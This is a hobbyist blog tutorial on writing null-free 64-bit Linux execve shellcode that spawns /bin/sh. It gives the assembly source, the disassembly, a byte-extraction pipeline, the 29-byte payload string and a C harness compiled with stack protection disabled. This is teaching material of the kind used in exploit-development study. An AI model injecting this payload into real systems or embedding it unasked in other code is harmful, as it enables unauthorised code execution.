Execve Shellcode 64 bit

Simple 64 bit shellcode (non-null) to produce a shell under Linux. With the following code I’m trying to stick to 64 bit programming as much as possible, I could have used 32 bit and even 16 bit registers but I chose not to. At the top of the assembly language code I have put in a comment about how to allocate arguments to 64 bit registers for system calls. Under 64 bit the syscall operand is used to invoke a system call as opposed to the int 0x80 that is used under 32 bit. A different system call table is also used, on my Debian 7.1 amd64 system it can be found in /usr/include/x86_64-linux-gnu/asm/unistd_64.h, with the execve call being call number 0x3b (59).

The assembly language code with comments:

global _start
section .text
     
; Register allocation for x64 function calls
; function_call(%rax) = function(%rdi,  %rsi,  %rdx,  %r10,  %r8,  %r9)
;                ^system          ^arg1  ^arg2  ^arg3  ^arg4  ^arg5 ^arg6
;                 call #
     
_start:
    xor rdi,rdi     ; rdi null
    push rdi        ; null
    push rdi        ; null
    pop rsi         ; argv null
    pop rdx         ; envp null
    mov rdi,0x68732f6e69622f2f ; hs/nib//
    shr rdi,0x08    ; no nulls, so shr to get \0
    push rdi        ; \0hs/nib/
    push rsp       
    pop rdi         ; pointer to arguments
    push 0x3b       ; execve
    pop rax          
    syscall         ; make the call

Build the code:
$ nasm -felf64 execve.asm -o execve.o
$ ld -o execve execve.o

Check for nulls:
objdump -d execve -M intel

execve:     file format elf64-x86-64
Disassembly of section .text:

0000000000400080 <_start>:
  400080:      48 31 ff                xor    rdi,rdi
  400083:      57                      push   rdi
  400084:      57                      push   rdi
  400085:      5e                      pop    rsi
  400086:      5a                      pop    rdx
  400087:      48 bf 2f 2f 62 69 6e    movabs rdi,0x68732f6e69622f2f
  40008e:      2f 73 68
  400091:      48 c1 ef 08             shr    rdi,0x8
  400095:      57                      push   rdi
  400096:      54                      push   rsp
  400097:      5f                      pop    rdi
  400098:      6a 3b                   push   0x3b
  40009a:      58                      pop    rax
  40009b:      0f 05                   syscall 

As you can see from the above there are no nulls within the code produced.

Test the executable:
$ ./execve
produces a new shell
$

Get shellcode from executable:
Use the following from the commandlinefu website replacing PROGRAM with the name of the required executable like so

$ objdump -d ./execve| grep ‘[0-9a-f]:’ | grep -v ‘file’ | cut -f2 -d: | cut -f1-7 -d’ ‘ | tr -s ‘ ‘ | tr ‘t’ ‘ ‘ | sed ‘s/ $//g’ | sed ‘s/ /x/g’ | paste -d ” -s | sed ‘s/^/”/’ | sed ‘s/$/”/g’

“x48x31xffx57x57x5ex5ax48xbfx2fx2fx62x69x6ex2fx73x68x48xc1xefx08x57x54x5fx6ax3bx58x0fx05”

The shellcode can be copied and pasted into a test harness program, similar to the one below.

#include <stdio.h>
    
unsigned char code[] = 
"x48x31xffx57x57x5ex5ax48xbfx2fx2f"
"x62x69x6ex2fx73x68x48xc1xefx08x57"
"x54x5fx6ax3bx58x0fx05";
    
main()
{
    printf("Shellcode Length: %dn", sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
}

Build the code:
$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
The options for gcc are to disable stack protection and enable stack execution respectively. Without these options the code will cause a segfault.

Test the executable:
$ ./shellcode
produces a new shell
$

The code produced is 29 bytes long and probably could be shortened, but that was not my goal. My goal was to write a simple 64 bit assembly language program to produce non-null shellcode for a laugh, achievement unlocked I feel.

One thought on “Execve Shellcode 64 bit

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s